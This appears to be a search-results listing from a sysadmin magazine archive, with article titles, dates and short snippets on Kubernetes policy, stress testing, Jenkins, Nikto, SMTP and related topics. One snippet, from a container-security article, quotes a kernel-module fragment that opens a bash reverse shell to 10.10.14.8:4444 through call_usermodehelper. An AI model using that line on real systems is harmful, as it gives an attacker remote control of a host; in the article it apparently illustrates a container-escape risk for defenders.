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70%
Policy rulesets in cloud-native environments
06.10.2022
Home »  Archive  »  2022  »  Issue 71: Kuber...  » 
Lead Image © bloomua, 123RF.com
targets: 18 - target: admission.k8s.gatekeeper.sh 19 rego: | 20 package k8srequiredlabels 21 deny[{"msg": msg, "details": {"missing_labels": missing}}] { 22
70%
Creating load for fun and profit
22.05.2023
Home »  Archive  »  2023  »  Issue 75: Teamwork  » 
Lead Image © Lucy Baldwin, 123RF.com
the CPU with floating-point arithmetic while exercising its caches and the system's memory: stress-ng --matrix 0 -t 1m --tz --times The zero count syntax requests one stressor to run on each CPU
70%
Red Hat's cloud and virtualization portfolio
18.07.2013
Home »  Archive  »  2013  »  Issue 15: What’...  » 
into Red Hat's cloud stack (Figure 1). After all, CloudForms 1.1, DeltaCloud 1.0, Storage Server 2.0, JBoss Middleware, and Enterprise Virtualization 3.1 form the foundation for the new products
70%
CI/CD deliverables pipeline
07.06.2019
Home »  Archive  »  2019  »  Issue 51: Self-...  » 
Lead Image by serhat-beyazkaya, Unsplash.com
, virtual machines (VMs), or even VMs hosted by a cloud provider. For Jenkins to be able to use a machine as a slave, the machine only needs to be equipped with SSH access and a Java 8 Runtime. The builds
70%
Measuring the performance of code
04.08.2020
Home »  Archive  »  2020  »  Issue 58: Graph...  » 
Lead Image © Lucy Baldwin, 123RF.com
] analyzed the effect of measurement on performance through clever experiments that determined the effect of time measurement on the code measured. Using well-placed calls to timespec_get [8] and a detailed
70%
Scanning servers with Nikto
07.06.2019
Home »  Archive  »  2019  »  Issue 51: Self-...  » 
Lead Image © spleen87, photocase.com
. In this article, I'm going to use a Docker container running the sophisticated open source web scanner, Nikto to, among other things, look for files and directories that could potentially be considered security
69%
History and use of the mail utility
05.12.2014
Home »  Archive  »  2014  »  Issue 24: Visua...  » 
Lead Image © Vlad Kochelaevskiy, fotolia.com
[<-] 220 mx.google.com ESMTP t2fjm4427fd213ply.2523 - gsmtp [->] EHLO smtp.box.tld [<-] 250 SMTPUTF8 [->] STARTTLS [<-] 220 2.0.0 Ready to start TLS [->] EHLO smtp.box.tld [<-] 250 SMTPUTF8 [->] AUTH LOGIN
69%
Let the editor wars begin!
11.10.2016
Home »  Archive  »  2016  »  Issue 35: Persi...  » 
Lead Image © Kirill Makarov, 123RF.com
. Figure 8: gedit 2.30 on Windows 10. The current version 3.20 (Figure 9) of gedit has a new, cleaner interface that works with newer desktop interfaces such as Unity [28
69%
Securing the container environment
01.06.2024
Home »  Archive  »  2024  »  Issue 81: Load...  » 
Lead Image © zeferli, 123RF.com
[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL}; static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL }; // call_usermodehelper function
69%
Tool your HPC systems for data analytics
21.08.2014
Home »  Archive  »  2014  »  Issue 22: OpenS...  » 
Lead Image © Sergey Nivens, 123RF.com
of these operations can also have a heavy I/O component. The situation I'm familiar with was not that large in HPC terms  – perhaps 12 to 20 nodes. However, it was just a "sample" problem. The complete problem would

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